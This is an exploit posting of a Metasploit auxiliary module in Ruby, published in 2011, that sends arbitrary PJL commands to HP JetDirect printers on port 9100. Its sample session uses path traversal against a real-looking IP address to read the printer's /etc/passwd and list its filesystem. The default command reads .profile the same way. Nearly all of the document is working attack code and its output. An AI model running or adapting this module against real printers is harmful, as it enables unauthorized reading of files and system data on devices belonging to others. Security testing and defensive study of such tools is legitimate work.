HP JetDirect Printer PJL Query Execution

`# Exploit Title: HP JetDirect PJL Query Execution  
# Date: Aug 7, 2011  
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>  
# Software Link: http://www.hp.com  
# Version: All  
# Tested on: HP LaserJet Pxxxx Series  
  
##  
# $Id: $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
##  
# Sample Output:  
#  
#  
# msf auxiliary(hp_printer_pjl_cmd) > show options  
#  
# Module options (auxiliary/admin/hp_printer_pjl_cmd):  
#  
# Name Current Setting Required Description  
# ---- --------------- -------- -----------  
# CMD FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999 yes PJL Command to run  
# INTERACTIVE true no Enter interactive mode [msfconsole Only]  
# RHOST 202.138.16.21 yes The target address  
# RPORT 9100 yes The target port  
#  
# msf auxiliary(hp_printer_pjl_cmd) > run  
#  
# [*] Entering interactive mode ...  
# [*] Please wait while executing -  
# [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999  
# [+] Server returned the following response:  
#  
# root::0:0::/:/bin/dlsh  
#  
#  
# [*] Enter PJL Command:  
# [*] -> 'quit' to exit  
# $ > fsdirlist name="0:/../../../" entry=1 count=99999999  
# [*] Please wait while executing -  
# [*] fsdirlist name="0:/../../../" entry=1 count=99999999  
# [+] Server returned the following response:  
#  
# . TYPE=DIR  
# .. TYPE=DIR  
# bin TYPE=DIR  
# usr TYPE=DIR  
# etc TYPE=DIR  
# hpmnt TYPE=DIR  
# hp TYPE=DIR  
# lib TYPE=DIR  
# dev TYPE=DIR  
# init TYPE=FILE SIZE=9016  
# .profile TYPE=FILE SIZE=834  
# tmp TYPE=DIR  
#  
#  
# [*] Enter PJL Command:  
# [*] -> 'quit' to exit  
# $ > quit  
# [*] Exited ... Have fun with your Printer!  
# [*] Auxiliary module execution completed  
# msf auxiliary(hp_printer_pjl_cmd) >  
  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'HP JetDirect Printer PJL Query Execution',  
'Version' => '$Revision: 1 $',  
'Description' => %q{  
This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP.  
},  
'Author' => [  
'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],  
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],  
[ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],  
[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]   
  
],  
'DisclosureDate' => ' 2011'))  
  
register_options(  
[  
OptString.new('CMD',  
[  
true,  
"PJL Command to run",  
'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'  
]  
),  
OptBool.new('INTERACTIVE',  
[  
false,  
"Enter interactive mode [msfconsole Only]",  
false  
]  
),  
  
Opt::RPORT(9100)  
],self.class)  
  
  
end  
  
def run  
mode = datastore['INTERACTIVE']  
  
if mode == true  
set_interactive(datastore['CMD'])  
else  
set_onetime(datastore['CMD'])  
end  
end  
  
def set_interactive(scmd)  
cmd = scmd  
  
print_status("Entering interactive mode ...")  
stop = false  
  
set_onetime(cmd)  
  
until stop == true   
print_status("Enter PJL Command:")  
print_status("-> 'quit' to exit")  
print("$ > ")  
tmp_cmd = ''  
tmp_cmd = gets.chomp.to_s   
if tmp_cmd =~ /quit/  
stop= true  
print_status("Exited ... Have fun with your Printer!")  
else  
set_onetime(tmp_cmd)   
end  
end  
end  
  
def set_onetime(scmd)  
  
connect  
  
cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"  
r_cmd = cmd.sub("[REPLACE]",scmd)  
  
print_status("Please wait while executing -")  
print_status("#{scmd}")  
  
recv = sock.put(r_cmd)  
res = sock.get(-1,1)  
  
if (!res)  
print_error("ERROR in receiving data!\r\n")  
else  
if res.to_s =~ /ERROR/  
print_error("BAD COMMAND OR ERROR\r\n")  
disconnect  
return  
end  
resx = res.to_s[res.index("\r\n")+1,res.length]  
print_good("Server returned the following response:\r\n#{resx}")  
end  
  
disconnect   
  
end  
  
  
end  
  
`